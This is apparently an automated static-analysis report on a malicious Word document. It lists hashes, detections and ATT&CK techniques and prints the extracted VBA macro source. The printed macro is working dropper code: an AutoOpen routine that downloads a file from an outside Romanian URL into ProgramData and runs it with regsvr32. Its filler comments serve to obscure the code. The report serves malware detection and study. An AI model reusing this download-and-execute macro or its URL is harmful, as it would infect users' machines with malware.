Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3eea8f8774723f76…

MALICIOUS

Office (OOXML)

114.0 KB Created: 2020-07-01 09:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: f25cebf7d04d87a709339509740b5bea SHA-1: 865e35f8f928778e177d0df2a484825753a380f7 SHA-256: 3eea8f8774723f76413ae73643e0da254837edca2dcefddc8981e2f1f0d871db
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing VBA macros, specifically an AutoOpen macro that executes code. The VBA script uses URLDownloadToFile to download a file from 'http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~' to 'c:\programdata\1.dat'. Subsequently, it executes this downloaded file using 'regsvr32 c:\programdata\1.dat', indicating a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal TM As LongPtr, ByVal kY As String, ByVal q5 As String, ByVal OZ As LongPtr, ByVal lk As LongPtr) As Long
    #Else
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim y4 As New WshShell
    y4.exec "regsvr32 c:\programdata\1.dat"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "yC"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2428 bytes
SHA-256: 1010c0f958b1124ea7a54bdb320f9ed24438ac6e23133003b88aa3f24f735d37
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "yC"
Sub autoopen()

' Dumfounded widely di
' Raillery villainy ghent insuperable muslims
' Clerk rachel
' Danger tabs
VL = CN(0, "http://centruldeinfoliere.ro/_qRlDMkyWtPIbz7M5.php?x=MDAwMSDKSoJE5lV1GKwb4Ub-pzqjnaQZjzWFvlOnWNYSs9gYKoCD5q1mXjEObRFguTFtWGu6AKCDSBglzHJ-vYeohvLg55dXJ5Zue890q8jHP2jdoP1Tww5YIL58J7-m0i2BPW9hrbOVFEUAgh9TOtEJzQ~~", "c:\programdata\1.dat", 0, 0)

' Bryant sickle hydraulic
' Homogeneous pie rut found number
' Commit allie shuttle
D
End Sub

Attribute VB_Name = "yC1"
Sub D()

' Unconcerned appear accounts ballet sides auditorium
' Zulu advantage
' Chapman addresses pinnacle
' Acoustic whilst
' Midnight signs practices itself

' Cincinnati establishment fiber charter bile
' Crypt
' Quantitative opera mba
' Hitting phonograph smoothness invisibly
' Viceroy upheaval

' Monty digits hale
' Falling pumped assimilate administrator
' Sh prepared educational malt inflammatory
' Nickel flashing expanding comparison artificially powerful
' Important

' Odorous
' Divisible pelt warm-hearted contract conserve
' Bbs palaver
' Classic presentation

' Watch hops lanka
' Locally
' World-wide banned fu une

' Punt committed feels basics propagation reprieve
' Cabinets
' Jeremy incantation distract

' Prior resulting
' Portfolio fume
' Would-be

' Reversal decipher vaudeville basin
' Perry algorithm
Dim y4 As New WshShell
y4.exec "regsvr32 c:\programdata\1.dat"

' Screen tb coll
' Thyme scheduling sw giant infatuation
' Pi municipality disruption
' Productive
' Yawn sahib passageway budapest itd
End Sub

Attribute VB_Name = "GE"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function CN Lib "urlmon" Alias "URLDownloadToFileA" (ByVal TM As LongPtr, ByVal kY As String, ByVal q5 As String, ByVal OZ As LongPtr, ByVal lk As LongPtr) As Long
#Else
Public Declare Function CN Lib "urlmon" Alias "URLDownloadToFileA"(ByVal TM As Long, ByVal kY As String, ByVal q5 As String, ByVal OZ As Long, ByVal lk As Long) As Long
#End If
Function ux(yK)

' Newer jeffrey pole imprint
' Lethargic silurian lucid
' Mix
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: c58350bf9b838822f9502d9f35ce36f62fe05b765ec8a96902c41637609dad97